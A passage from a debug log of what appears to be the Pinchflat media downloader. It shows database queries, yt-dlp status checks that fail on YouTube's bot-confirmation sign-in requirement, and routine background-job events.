s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.620 [debug] QUERY OK source="sources" db=0.4ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.620 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:23.620 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:23.621 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:51:23.621 [debug] QUERY OK source="media_items" db=0.6ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:51:23.622 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 02:51:23.622 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 02:51:23.622 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:23.622 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:23.622 [debug] QUERY OK source="settings" db=0.3ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.623 [debug] QUERY OK source="settings" db=0.3ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.623 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.623 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.623 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:23.623 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:23.624 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.624 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.624 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.625 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.625 [debug] QUERY OK source="settings" db=0.6ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.625 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1a/d8/1ad8ecb38e200873f6f0751825ad7647aca9d1a656cd9b3682946b83223f5f9f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:23.625 [debug] QUERY OK source="settings" db=0.4ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.625 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/25/4f254c5aeaf2e52eb46d824a0b231ec23a4c165eac16489a019f4015648ad58a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:25.506 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1a/d8/1ad8ecb38e200873f6f0751825ad7647aca9d1a656cd9b3682946b83223f5f9f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:25.506 [error] yt-dlp download error for media item #11535: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:25.506 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:25.507 [info] {"args":{"id":11535},"id":1697,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1887957,"event":"job:stop","queue_time":617505,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:25.513 [info] {"args":{"id":12546},"id":1699,"meta":{},"system_time":1774767085513449056,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:25.513 [debug] QUERY OK source="media_items" db=0.2ms idle=467.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 02:51:25.514 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:25.514 [debug] QUERY OK source="sources" db=0.2ms idle=467.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:25.514 [debug] QUERY OK source="media_profiles" db=0.1ms idle=467.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:25.515 [debug] QUERY OK source="media_items" db=0.2ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:51:25.515 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 02:51:25.516 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:25.516 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:25.516 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:25.516 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:25.517 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:25.517 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:25.517 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:25.517 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8e/e4/8ee4f3dbcc9f5c5554f4b0732bc959423617454c8ad6d650053568c9f325246e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:25.608 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/25/4f254c5aeaf2e52eb46d824a0b231ec23a4c165eac16489a019f4015648ad58a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:25.608 [error] yt-dlp download error for media item #12040: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:25.608 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9SvcDeiwXrc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:25.609 [info] {"args":{"id":12040},"id":1698,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1990103,"event":"job:stop","queue_time":617505,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:27.671 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8e/e4/8ee4f3dbcc9f5c5554f4b0732bc959423617454c8ad6d650053568c9f325246e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:27.671 [error] yt-dlp download error for media item #12546: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:27.671 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:27.672 [info] {"args":{"id":12546},"id":1699,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2158359,"event":"job:stop","queue_time":2512475,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:44.994 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.691 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:52:14.995 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:44.996 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.692 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:53:14.997 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:44.998 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.693 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:54:14.999 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:45.000 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.694 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:55:15.001 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:45.002 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.695 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:56:15.003 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:45.004 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.696 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:57:15.005 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:45.006 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.697 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:58:15.007 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:45.008 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.698 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:59:15.009 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:45.010 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.699 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:00:15.011 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:45.012 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.700 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:01:15.013 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:45.014 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.701 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:02:15.016 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:45.017 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.702 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:03:15.018 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:45.019 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.703 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:04:15.020 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:45.021 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.704 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:05:15.022 [info] 